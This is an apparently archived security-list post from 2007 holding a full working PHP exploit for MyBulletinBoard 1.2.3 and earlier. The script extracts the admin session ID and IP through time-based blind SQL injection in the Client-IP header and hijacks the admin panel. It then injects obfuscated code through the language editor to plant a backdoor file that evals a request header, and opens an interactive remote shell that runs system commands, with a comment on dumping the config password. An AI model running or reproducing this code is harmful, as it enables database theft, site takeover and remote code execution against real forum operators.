MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit Apr 03 2007 02:18PM
gmdarkfig gmail com
#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);

# http://www.milw0rm.com/exploits/2012
# They corrected (not all) a lot of SQL requests which use the ipaddress, with $db->escape_string.
# They don't corrected the function (this is a choice ... the bad) and they forgot to correct 1 (only) SQL request.
# They must correct the problem at the source =)
#
if($argc < 3)
{
print("
--- MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit ---
-----------------------------------------------------------------------
PHP conditions: none
Credits: DarkFig <gmdarkfig (at) gmail (dot) com [email concealed]>
URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
Usage: $argv[0] -url http://victim.com/ [Options]
Params: -url For example http://victim.com/myBB/
Options: -debug Debug mod activated (debug_mybb.html)
-truetime Server response time which returns true
-benchmark You can change the value used in benchmark()
-proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
Note: If you have some problems use -debug, -benchmark, -truetime
-----------------------------------------------------------------------
");exit(1);
}

$url = getparam('url',1);
$debug = (getparam('debug')!='') ? 1 : 0;
$benchmark = (getparam('benchmark')!='') ? getparam('benchmark') : '1000000';
$proxy = getparam($proxy);
$proxyauth = getparam($proxyauth);

$backdoor = 'uploads/avatars/backdoor.php'; # inc/cache/backdoor.php
$filetoed = 'index.lang.php';

$xpl = new phpsploit();
$xpl->agent('Firefox');
if($proxy) $xpl->proxy($proxy);
if($proxyauth) $xpl->proxyauth($proxyauth);
if($debug) debug(1);

# There is two solutions to be logged in as administrator.
#
# SOLUTION NUMBER 1
# mysql> select * from mybb_users\G
# *************************** 1. row ***************************
# uid: 1
# username: root
# password: 39ac8681f5cf4fcd9c9c09719a618bd3
# salt: BFeJBOCF
# loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA...
#
# $xpl->post($url.'admin/index.php','username=root&password=toor&do=login&
goto=');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
#
# SOLUTION NUMBER 2
# mysql> select * from mybb_adminsessions\G
# *************************** 1. row ***************************
# sid: 81e267263b9254f3aaf670383bfbfec9
# uid: 1
# loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA
# ip: 127.0.0.1
# dateline: 1175443967
# lastactive: 1175444369
#
# $xpl->addheader('Client-IP','127.0.0.1');
# $xpl->get($url.'admin/index.php?adminsid=81e267263b9254f3aaf670383bfbfec
9');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
#
# I decided to use the solution number 2.
# We can also add an administrator (easily) ... but it's not interesting.
#
print "\nAdmin IP : "; $ip = sql_inject('ip');
print "\nAdmin sid: "; $sid = sql_inject('sid');
print "\nTrying to be logged in as administrator";

$xpl->addheader('Client-IP',$ip);
$xpl->get($url."admin/languages.php?adminsid=$sid");

# Trying to find the language
if(preg_match('#<input type="hidden" name="lang" value="(\S*)"#',$xpl->getcontent(),$langmatches)) $lang=$langmatches[1];
else $lang='english';
print "\nLanguage: $lang";

# Language configuration
$xpl->get($url."admin/languages.php?adminsid=$sid&action=edit&lang=$lang
&editwith=0&file=$filetoed");
preg_match_all('#name="(.*)">(.*)</textarea>#',$xpl->getcontent(),$name_
value);

# We can't use:
# - <? OR <?php
# - <script language="php">
# - ' OR "
#
$PHPCODE = '${${error_reporting(0)}}'
.'${${$handle=fopen('.chrit('./'.$backdoor).','.chrit('w').')}}'
.'${${fwrite($handle,'.chrit('<?php error_reporting(0);eval($_SERVER[HTTP_SHELL]);exit(0); ?>').')}}'
.'${${fclose($handle)}}';
$name_value[2][0] .= $PHPCODE;

$postdata=array(frmdt_url => $url.'admin/languages.php',
"adminsid" => $sid, "action" => "do_edit",
"lang" => $lang, "editwith" => 0,
"inadmin"=> 0, "file"=> $filetoed,
"Update Language Variables"=>" Update Language Variables");

for($i=0;$i<count($name_value[1]);$i++) $postdata[html_entity_decode($name_value[1][$i])] = html_entity_decode($name_value[2][$i]);

# print $xpl->showlastrequest();
$xpl->formdata($postdata);

# Trying to execute the php code
$xpl->get($url.'index.php');

# If not the default language
$xpl->get($url.'inc/languages/'.$lang.'/'.$filetoed);
print "\nThe php file should be created\n\$shell> ";

# Hello master
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
# ');include('../../inc/config.php');print $config['password'];//
$xpl->addheader('Shell',"system('$cmd');");
$xpl->get($url.$backdoor);
print $xpl->getcontent()."\n\$shell> ";
}

function sql_inject($field)
{
global $xpl,$url,$prefix,$debug,$result,$bef,$aft,$truetime,$benchmark,$a,$b,$s
ub,$f; #,$fakeip
$sub=0;$string='';

if($field=='ip') {$a='44';$b='57';} # . 0-9
else {$a='46';$b='70';} # 0-9 A-Z

while(TRUE)
{
$sub++;
for($i=$a;$i<=$b;$i++)
{
# Random ip
$fakeip = rand(128,254).'.'
.rand(128,254).'.'
.rand(128,254).'.'
.rand(128,254);

# Calculation of the server response time which returns TRUE
if($i==$a) $f='TST';

# End of the string ?
elseif($i==($a+1)) $f='NULL';

# Test the char
else $f=$i;

# Table prefix
if($sub==1 AND $i==$a)
{
$xpl->addheader('Client-IP',$fakeip."'<script>alert(666)</script>");
$xpl->get($url.'index.php');

if(preg_match("#DELETE FROM (\S*)sessions#i",$xpl->getcontent(),$match)) $prefix=$match[1];
else $prefix='mybb_';
}

# +-class_session.php (#2)
# |
# 475. function create_session($uid=0)
# 476. {
# 477. global $db;
# 478. $speciallocs = $this->get_special_locations();
# 479.
# 480. // If there is a proper uid, delete by uid.
# 481. if($uid > 0)
# 482. {
# 483. $db->delete_query(TABLE_PREFIX."sessions", "uid=".$uid);
# 484. $onlinedata['uid'] = $uid;
# 485. }
# 486. // Else delete by ip.
# 487. else
# 488. { // $this->ipaddress = get_ip();
# 489. $db->delete_query(TABLE_PREFIX."sessions", "ip='".$this->ipaddress."'");
# 490. $onlinedata['uid'] = 0;
# 491. }
#
$sql = $fakeip."' OR ip=(SELECT IF(SUBSTR(";
$sql .= ($f=='TST') ? "(SELECT 1)" : "(SELECT $field FROM ${prefix}adminsessions ORDER BY lastactive DESC LIMIT 1)";
$sql .= ($f=='TST') ? ",1" : ",$sub";
$sql .= ($f=='TST') ? ",1)=CHAR(49)" : ",1)=CHAR($f)";
$sql .= ",BENCHMARK($benchmark,CHAR(66)),1)) #";

# +-functions.php (#1)
# |
# 1836. function get_ip()
# 1837. {
# 1838. if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
# 1839. {
# 1840. if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
# 1841. {
# 1842. foreach($addresses[0] as $key => $val)
# 1843. {
# 1844. if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
# 1845. {
# 1846. $ip = $val;
# 1847. break;
# 1848. }
# 1849. }
# 1850. }
# 1851. }
# 1852. if(!isset($ip))
# 1853. {
# 1854. if(isset($_SERVER['HTTP_CLIENT_IP']))
# 1855. {
# 1856. $ip = $_SERVER['HTTP_CLIENT_IP'];
# 1857. }
# 1858. else
# 1859. {
# 1860. $ip = $_SERVER['REMOTE_ADDR'];
# 1861. }
# 1862. }
# 1863. return $ip;
# 1864. }
#
$bef = time();
$xpl->reset('header');
$xpl->addheader('Client-IP',$sql);
$xpl->get($url.'index.php');
$aft = time();

if($f=='TST') $truetime=$aft-$bef;
if(getparam('truetime')!='') $truetime=getparam('truetime');

# Server response time >= Server response time which returns TRUE ?
$restime = $aft-$bef;
if($restime >= $truetime AND $f != 'TST') $result='TRUE';
else $result='FALSE';

# Debug mode activated
if($debug) debug('',$field);

# The tested char returns TRUE
if($result=='TRUE')
{
if($f!='NULL')
{
# Continue
print strtolower(chr($f));
$string .= chr($f);
break;
}
else
{
# End of the string
$xpl->reset('header');
return $string;
}
}

# Retry if no char found
if($f==$b) $sub--;
}
}
}

function debug($init='',$dafield='')
{
global $result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip
if($init)
{
$handle = fopen("debug_mybb.html","w+");
$data = "<h1><div align='center'>MyBulletinBoard (MyBB) <= 1.2.3 Code Execution Exploit</div></h1>
<pre><table width='0' border='1' align='center' cellspacing='0'><tr>
<td align='center'><b>REQUEST TIME</b></td>
<td align='center'><b>RESPONSE TIME</b></td>
<td align='center'><b>TRUETIME</b></td>
<td align='center'><b>BENCHMARK</b></td>
<td align='center'><b>RESULT</b></td>";
# <td align='center'><b>IP</b></td>
$data .= "<td align='center'><b>FIELD</b></td>
<td align='center'><b>CHARSET</b></td>
<td align='center'><b>SUBSTR()</b></td>
<td align='center'><b>ORD()</b></td>
<td align='center'><b>CHAR()</b></td>";
fwrite($handle,$data);
fclose($handle);
}
else
{
$handle = fopen("debug_mybb.html","a");
$data = "<tr".(($result=='TRUE') ? " bgcolor='#FFFF00'" : "").">
<td align='center'> ".htmlentities($bef)." </td>
<td align='center'> ".htmlentities($aft)." </td>
<td align='center'> ".htmlentities($truetime)." </td>
<td align='center'> ".htmlentities($benchmark)." </td>
<td align='center'> ".htmlentities($result)." </td>";
# <td align='center'> ".htmlentities($fakeip)." </td>
$data .= "<td align='center'> ".htmlentities($dafield)." </td>
<td align='center'> ".htmlentities("$a-$b")." </td>
<td align='center'> ".htmlentities($sub)." </td>
<td align='center'> ".htmlentities($f)." </td>
<td align='center'> ".htmlentities(chr($f))." </td></tr>";
fwrite($handle,$data);
fclose($handle);
}
}

function chrit($string)
{
$char = '';
for($i=0;$i<strlen($string);$i++)
{
$char .= 'chr('.ord($string[$i]).')';
$char .= ($i != (strlen($string)-1)) ? '.' : '';
}
return $char;
}

function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) {
if(!empty($argv[$value+1])) return $argv[$value+1];
else return 1;
}
}
if($opt) exit("\n-$param parameter required");
else return;
}
?>

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